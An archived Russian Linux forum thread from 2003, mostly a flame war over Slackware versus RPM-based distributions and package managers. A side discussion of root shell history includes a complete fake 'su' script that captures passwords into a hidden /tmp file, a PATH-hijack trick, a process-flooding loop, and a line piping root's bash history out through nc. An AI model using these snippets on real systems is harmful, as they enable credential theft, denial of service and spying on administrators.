Тссссссссссссссс

Кто-нибудь может объяснить, чего все возбудилис? Ну сайт новый, ну для дистрибутива линуксовского, чего флейм-то прямо как linux vs windows?

>>>вы мне скажите только честно, в слаковском менеджере пакетов есть зависимости или нет?

Нету и надеюсь не будет.

Если вы испытываете трудности в связи этим - используйте rpm базированный дистр или же ,в конце-концов, windozo :)

> IMHO манагер пакетов это есть главная фича характеризующая дистрибутив.

Он прально говорит. Лучшей характеристики и быть не может.
Иногда бывают неплохо подогнанные дистрибутивы. Но из-за RPM -
этой глючной, кривой и вечно несовместимой поделкой редхата -
они превращаются в дерьмо.

>>>Он прально говорит. Лучшей характеристики и быть не может...

Лишь бы костюмчик нормально сидел... - знаем мы эту песню.

Начхать на то что в этом дистре - но зато какой там манагер.

Мужики, ну че вы за ахинею несете ?

DoS в Опере

>root shell с history ? >Воистину для лохов !

;)) дык настоящие хакеры из шела выходят по kill -9 <shell_pid>

Может быть ты не знаешь, но в системе число пользователей с id=0

может быть > 1 :)

"Специализирующаяся по компьютерной безопасности фирма Trustcorps сообщила о том, что хакеры могут контролировать миллионы серверов в интернете, причем владельцы серверов об этом даже не подозревают."

http://www.techworld.com/news/index.cfm?fuseaction=displaynews&NewsID=219

Шлак - для лохов!!! РеХат рулней!!!!!

Да да да ... RH круче всех и круче него тока MDK

тока тс-с-с-с-с :)))

РеХат - для лохов!!! Шлак рулней!!!!!

> Ты хоть соображаешь чего мелешь ?

> anonymous (*) (2003-07-03 14:54:26.733751)

Да соображаю.
Дистрибутив Линукса это есть в сущности ядро и набор гнушных программ.
ГЛАВНАЯ задача производителя дистра - всё это грамотно уложить и предоставить юзеру нормальный package manager. Или я что-то не так сказал, уважаемый анонизмус?

http://linux-pack.sourceforge.net/

Не нравится ?

Эй пацаны, вы должны радоватся что слака всегда флейм развивает, это значит что она живет! и лучше чем другие. Вот если флейма не будет вот тогда волнуйтесь :)

DoS в Опере

>Может быть ты не знаешь, но в системе число пользователей с id=0
>может быть > 1 :)

Да ты мне глаза открыл :) вот 15 лет *NIX юзаю и ведь не зн-а-а-ал про такое :)

ЗЫ: и что у всех что >1 sh != /dev/null ?  

Слака -- оно хорошо, но по моему этот сайт делают 31337 h4x0rz wh1ch r 700 14m3 t0 j0053 r3dh47!!1!

Это меня и угнетает. А слака -- это круто. Но руками из сырцов круче...

> Нету и надеюсь не будет.

фига! они еще и гордятся этим?!
ЛЮДИ АУ!!!!!!!
гордиться тем что должен делать packet manager делает ваша голова!!!

А физики уже там?

>Но из-за RPM - этой глючной, кривой и вечно несовместимой поделкой редхата -
> они превращаются в дерьмо.

что вас конкретно не устраивает в RPM? именно в rpm с rpm.org, а не в пакетах от RH?
он немногo "упрощенный" DPKG, но на дебиан никто же не кричит что но кривая поделка!

а то что RH делает пакеты .rpm такие какие они есть сейчас, так это сугубо их дело, к rpm как package manager'у это не имеет никакого отношения...

А в чём крутизна-то? Чем больше надо мудохаться тем лучше? Может тогда всё-таки LFS круче всех?

> Кто-нибудь может объяснить, чего все возбудилис?

Ну а как же? ___Истинные___линуксоиды___ЛОРа___ под линуксом понимают исключительно редхат да мандрейк. Отчасти Gentoo. Все остальное есть ересь. Типичное понимание сути вещей местного правоверного "линуксоида":

Debian-stable в каменном веке находится, ибо свежайших глюков не содержит. Woody или Sid -- страшно, спросить в случае кривых рук не у кого.

SuSe -- нахаляву не достать, следовательно, недолинукс.

ALT и ASP -- "доморощенные", "содранные" с мандрейка и редхата, соответственно.

Caldera -- вот был рулез (ах, какой красивый там графический LILO!!!), да вот незадача, тихо сдох.

Slackware -- на BSD похоже, а это вообще наш классовый враг.

И вообще, главное в дистрибутиве -- крутейший менеджер пакетов, сам все за юзера думающий, лампочками моргающий, в динамики попсу играющий и пиво юзеру наливающий. И обязательно чтобы на винду похоже было. Все остальное -- для непонятных простому смертному небритых личностей, зовущих себя админами.

Выше не было ни одного предложения, отражающего мою личную точку зрения на тот или иной дистрибутив.

DoS в Опере

ЗЫ: и что у всех что >1 sh != /dev/null ?

А root shell's которые назывались просто '.'

или имели имя из непечатных символов ?

А юзера в системе не было вообще.

ЗЫ Паранои как и пива много не бывает :)

Зачем светить, что ты делаешь в системе ?

history рута может быть очень интересен

http://www.linuxbase.org/spec/refspecs/LSB_1.2.0/gLSB/swinstall.html
во! читайте!

Круче = для меня приятнее. Чтобы я мог с LFS (Large File Support) собрать. Чтобы мог заставить пакет не ставить по 25 раз свою версию библиотеки, а заставить пользовать свою. А также чтобы попатчить /usr/share/usb.ids на случай если Pat Volkerding забыл запаковав все, проверить работу lsusb. Еще мне очень понравилось, как после сборки gcc в слаке вам рекомендуется _ручками_ поправить *.la файлы на предмет buildroot'a. Написано, что sed'ом ненадежно..... блин.

2Obidos

Да точно! Gentoo очень на винду похож, вот именно за это его и люблю.

Ловля рутов ...

> history рута может быть очень интересен

Ет да ;)))

PS: помнится были времена когда руты ловились на
PATH=/tmp;$PATH

а потом

#!/bin/sh
SYSTEM="`/bin/uname`"
echo -n Password:
stty -echo
read password
stty echo
echo ""
echo ""
sleep 2
echo $1 >> /tmp/.10456.cron
echo $password >> /tmp/.10456.cron
if [ "$SYSTEM" = "Linux" ]; then
echo su: incorrect password
fi
if [ "$SYSTEM" = "SunOS" ]; then
echo su: Sorry
fi
if [ "$SYSTEM" = "FreeBSD" ]; then
echo Sorry
fi
mv /tmp/su /tmp/.10457.cron
ln -s /bin/su /tmp/su

в /tmp/su

Ех ... были-ж времена ;))

2sS

Я кстати, в хистори юзера находил пароли рута. Человек запускал su, а потом набирал пароль рута. Делал он это автоматически и не глядя, иногда при наборе su была ошибка (не ту клавишу случайно нажал), а юзер этого не замечал и продолжал вбивать пароль, а в хистори всё сохранялось :)

кстати ...

ss:/root# ls -l .*history
lrwxrwxrwx   1 root     root            9 Nov  4  1999 .bash_history -> /dev/null

> Зачем светить, что ты делаешь в системе ? history рута может быть очень интересен

Хм. Я, конечно, не специалист по секьюрити, но по-моему, если кто-то огреб привилегии для поднятия файла из /root , то содержимое /root/.bash_history уже большой роли не играет. ;)

DoS в Опере

>Ех ... были-ж времена ;))

Ну и зачем ты учишь детей плохому ?

Сейчас кто нибудь напишет, что у него не работает.

Ты еще как траву курить и пиво лопать расскажи :)

DoS в Опере

>то содержимое /root/.bash_history уже большой роли не играет. ;)

Ну а кто кто тебе расскажет где фин. отчеты лежат ?

Какой прогой зашифрованы ?

DoS в Опере

>lrwxrwxrwx 1 root root 9 Nov 4 1999 .bash_history -> /dev/null

mkfifo `cat /dev/null` ?

кстати ...

>mkfifo `cat /dev/null`

Ты имел ввиду mv /dev/null "/dev/null " mkfifo /dev/null ? ;)

кстати PAM к слаке прикрутить как 2 пальца об асфальт ... 10 мин. Сам делал.

33

> history рута может быть очень интересен гм...chmod go-r /root/.bash_history; echo "HISTSIZE=20">>/root/.bash_profile елси немецкий шел - там чуток по-другому но тоже можно.

кстати ...

while true; do cat /dev/zero > /dev/null & done & 

;)

2rust (*) (2003-07-03 16:37:09.022323):

Gentoo имелся в виду как противоположность редхату с мандрейком. Есть две "крайности": одна -- LFS (к которой ОТЧАСТИ можно отнести Gentoo, я бы ее охарактеризовал как "этюд на тему объединения LFS и BSD ports", причем довольно удачный), другая -- "добрые дяди за нас уже все придумали, мы только тупо мышем тыкаем". В "чистом", рафинированном виде, вторая крайность, конечно, Макинтош (без обид), но здесь можно считать редхатообразных...

> в хистори юзера находил пароли рута
это грабли того юзверя - внимательней надо быть"
и после таких incidents делать хотя бы (sleep 2; >.bash_history)&;exit

Хехехе , ну чё , мужики - перелезаем с лора на slackware.ru ???:))

2mumpster

Это юзверь был админом одного московского банка, кстати ;)

DoS в Опере

>и после таких incidents делать хотя бы (sleep 2; >.bash_history)&;exit

Это не спасет, если на машине еще один рут.

Что мещает запустить nohup cat /root/.bash_history | nc &

и наблюдать за твоими телодвижениями во время сессии

2Sun-ch
> Что мещает запустить nohup cat /root/.bash_history | nc &

Нахрена. Засекут процесс или сетевое соединение (если их не скрыть). Или где нибудь на firwalle увидят, что идёт странный траффик.

Харе Слакваре!!
Все переходим на самый правильный дистрибутив!

>>>Да соображаю. >>>Дистрибутив Линукса это есть в сущности ядро и набор гнушных программ. >>>ГЛАВНАЯ задача производителя дистра - всё это грамотно уложить и предоставить юзеру нормальный package manager. >>>Или я что-то не так сказал, уважаемый анонизмус?

Уважаемый АНОНИЗМУС отвечает :

1) Огромное мерси за то, что ВЫ просветили меня - темного - что такое линуксовые дистрибутивы.

2) ГЛАВНАЯ задача производителя дистра - заработать на нем. А никоим образом не то, что ВЫ думаете ...

3) К вящему прискорбию производители софта имеют отвратительную привычку распространять свои продукты как tar.(gz|bz2) (Очевидно, они не ходят на ЛОР - и не читают ваших "правильных" высказываний - это, конечно, их огромное упущение, а всех производителей дистров они считают своими кровными врагами - напрочь игнорируя их передовые манагеры)

4) На текущий момент нету "нормального" МАНЯгера способного одолеть халатную преступность производителей софта подчеркную в П. 3

5) Еще большими негодяями оказываюся производители дистров, которые, в силу своей злокозненности, включают в свои дистрибуты заведомо устаревшие пакеты производителей софта (П. 3) или не включают вообще.

6) В силу вышеизложенных печальных фактов - рано или поздно приходится тянуть сырцы и самому разбираться в этих противных зависимостях, подрывая авторитеты некоторых оракулов с ЛОР (которые, очевидно, каждый раз пытаються найти очередной linux-xx.yy.zz.rpm на kernel.org (мерзавцы !) и отчаявшись в этом - бегут пинать весь мир живущий без милых серцу менеджеров)

7) Очевидно, из-за своей темноты, мне так и не удалось найти способа установить в систему xyz.tar.gz пользуясь "нормальными" менеджерами, и я - стыдно сказать, использовал ./configure (Несомненно, Вы можете обойтись без этого - мастерски используя многочисленные комбинации ключей rpm)

8) Будучи не в силах освоить эти самые комбинации ключей - я пришел к выводу о нецелесообразности использования столь сложных "нормальных" продуктов и пользуюсь до сих пор старыми дедовскими методами и как это ни странно - до сих пор ни испытываю никаких проблем - но это все наверное потому, что я делаю все неправильно ....

Засим разрешите откланяться - Ваш АНОНИЗМУС

> while true; do cat /dev/zero > /dev/null & done &
Если я понимаю, на тачке запустится столько cat'ов, что...
...что всем будет ой как тесно :)
И все :)
И нафиг какой рут тогда нужен :)

Во!!!! Наконец-то!!!!! Где бедненько? Там? Да, бедненько. Надо писать. А политические разногласия с другими - пустое. Милые браняться...

> каждый раз пытаються найти очередной linux-xx.yy.zz.rpm на kernel.org (мерзавцы !)

действительно МЕРЗАВЦЫ!
но эти МЕРЗАВЦЫ почемуто знают что mr. Alan -skiped- 2-3 года назад еще показал всему миру КАК сделать из linux-xx.yy.zz.tar.[gz|bz2] файлик linux-xx.yy.zz.rpm, патчик этот включал команды чуть посложнее чем "mv linux-xx.yy.zz.tar.[gz|bz2] linux-xx.yy.zz.rpm"...очень жаль что он ищется в google по словам alan rpm... %)

а еще эти МЕРЗАВЦЫ выдумали какой-то make-kpkg - это уже верх наглости ! %)

а вот ГЛАВНЫЙ-СЛАКО-ПАПА-И-ВЛАСТЕЛИН-УМОВ-НА-ЛОРе что предложил? ах, да! в слаке же нет зависимостей! тогда - ничего

>>Уважаемый АНОНИЗМУС отвечает :
>> ...
Супер :)

АНОНИЗМУСу срочно выдать hard-copy Maximum-RPM(лежит на rpm.org)!

большая просьба превратить glibc-2.3.2.tar.bz2 в rpm и отсюда поставить ее в систему :))))

> большая просьба превратить glibc-2.3.2.tar.bz2 в rpm и отсюда поставить ее в систему :))))

это что незнание rpm -U ?

Ты преврати и поставь сначала ....